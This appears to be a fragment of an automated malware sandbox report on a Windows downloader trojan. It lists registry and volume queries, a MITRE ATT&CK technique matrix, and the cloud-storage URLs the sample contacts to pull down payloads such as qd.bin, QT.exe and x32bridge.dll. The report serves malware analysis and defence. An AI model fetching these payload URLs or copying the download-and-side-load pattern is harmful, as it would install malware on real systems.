Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_0019A367 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_0019A367

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	2 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	34 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 File Deletion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LisectAVT_2403002B_295.exe	100%	Avira	TR/Dldr.Agent.kjyoo
LisectAVT_2403002B_295.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll=C	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcr120.dll	0%	Avira URL Cloud	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/&	0%	Avira URL Cloud	safe
https://www151-1323570959.cos.ap-singapore.myqcloud.com/b8b	0%	Avira URL Cloud	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binM	0%	Avira URL Cloud	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.bin	0%	Avira URL Cloud	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll(=	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp120.dll	0%	Avira URL Cloud	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/QT.exe	0%	Avira URL Cloud	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp140.dll6	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://wwwbin-1324142869.cos.ap-singapore.myqcloud.com/151.binC:	0%	Avira URL Cloud	safe
https://www151-1323570959.cos.ap-singapore.myqcloud.com/	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binen	0%	Avira URL Cloud	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcr120.dllj	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://www151-1323570959.cos.ap-singapore.myqcloud.com/x32bridge.dll	0%	Avira URL Cloud	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://aka.ms/winsvr-2022-pshelp	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	Avira URL Cloud	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binerror	0%	Avira URL Cloud	safe
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp140.dll	0%	Avira URL Cloud	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binom-	0%	Avira URL Cloud	safe
http://crl.mi	0%	Avira URL Cloud	safe
http://crl.mic)	0%	Avira URL Cloud	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.bing	0%	Avira URL Cloud	safe
https://wwwbin-1324142869.cos.ap-singapore.myqcloud.com/151.bin	0%	Avira URL Cloud	safe
http://www.microsoft.r;R	0%	Avira URL Cloud	safe
http://c.zk	0%	Avira URL Cloud	safe
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sgp.file.myqcloud.com	43.152.64.207	true	false	unknown
wwwqd-1324142869.cos.ap-singapore.myqcloud.com	unknown	unknown	true	unknown
wwwdll-1323570959.cos.ap-singapore.myqcloud.com	unknown	unknown	true	unknown
www151-1323570959.cos.ap-singapore.myqcloud.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.bin	false	Avira URL Cloud: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp120.dll	false	Avira URL Cloud: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcr120.dll	false	Avira URL Cloud: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/QT.exe	false	Avira URL Cloud: safe	unknown
https://www151-1323570959.cos.ap-singapore.myqcloud.com/x32bridge.dll	false	Avira URL Cloud: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll	false		unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp140.dll	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll=C	LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1739011796.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1762183724.0000000000924000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/&	LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www151-1323570959.cos.ap-singapore.myqcloud.com/b8b	LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll(=	LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1739011796.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1762183724.0000000000924000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp140.dll6	LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binM	LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwwbin-1324142869.cos.ap-singapore.myqcloud.com/151.binC:	x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	false	Avira URL Cloud: safe	unknown
https://www151-1323570959.cos.ap-singapore.myqcloud.com/	LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/	LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	Avira URL Cloud: safe	unknown
https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcr120.dllj	LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binen	LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000033E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	LisectAVT_2403002B_295.exe, 00000001.00000003.1853279746.0000000003BB5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mi	LisectAVT_2403002B_295.exe, 00000001.00000002.1956057813.0000000007322000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1884891914.0000000007322000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1864806974.0000000007322000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binom-	LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binerror	LisectAVT_2403002B_295.exe	false	Avira URL Cloud: safe	unknown
http://crl.micro	LisectAVT_2403002B_295.exe, 00000001.00000002.1956164901.0000000007362000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1884891914.0000000007358000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1885571652.000000000735F000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1875681919.0000000007359000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wwwbin-1324142869.cos.ap-singapore.myqcloud.com/151.bin	x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	false	Avira URL Cloud: safe	unknown
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.bing	LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mic)	LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790563218.0000000000932000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.r;R	LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/	LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://c.zk	LisectAVT_2403002B_295.exe, 00000001.00000003.1864849511.0000000007381000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

